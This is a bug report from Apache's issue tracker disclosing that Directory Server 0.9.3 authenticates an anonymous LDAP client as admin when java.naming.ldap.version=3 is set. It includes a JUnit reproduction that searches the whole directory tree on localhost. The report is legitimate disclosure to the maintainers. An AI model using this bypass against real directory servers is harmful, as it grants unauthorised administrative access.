Anonymous user may gain access as admin user
--------------------------------------------

         Key: DIREVE-239
         URL: http://issues.apache.org/jira/browse/DIREVE-239
     Project: Directory Server
        Type: Bug
    Versions: 0.9.3    
 Reporter: Endi S. Dewata
 Assigned to: Alex Karasulu 


Anonymous user may gain access as admin user by specifying 
java.naming.ldap.version=3 in the JNDI client.

To show the problem, add a print statement in the AuthenticationService.java at 
line 369:

                // perform the authentication
                LdapPrincipal authorizationId = authenticator.authenticate( ctx 
);
                System.out.println("Authorization ID: "+authorizationId);

Start the server, then run the following program:

import junit.framework.TestCase;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.*;
import java.util.Hashtable;

public class Test extends TestCase {

    public void testAnonymousBindWithLDAPVersion3() throws Exception {

        String suffix = "dc=apache,dc=org";

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, 
"com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:10389/";);
        // env.put("java.naming.ldap.version", "3");

        DirContext ctx = new InitialDirContext(env);

        SearchControls sc = new SearchControls();
        sc.setSearchScope(SearchControls.SUBTREE_SCOPE);

        NamingEnumeration ne = ctx.search(suffix, "(objectClass=*)", sc);

        System.out.println("Search results:");

        int counter = 0;
        while (ne.hasMore()) {
            SearchResult sr = (SearchResult)ne.next();
            String rdn = sr.getName();
            System.out.println(" - "+("".equals(rdn) ? suffix : 
rdn+","+suffix));
            counter++;
        }

        System.out.println("Found "+counter+" entries.");

        ctx.close();
    }
}

Without specifying java.naming.ldap.version=3, the user will remain anonymous 
(empty Authentication ID). However, with java.naming.ldap.version=3, the 
anonymous user gets authenticated as the admin user without even specifying any 
password.
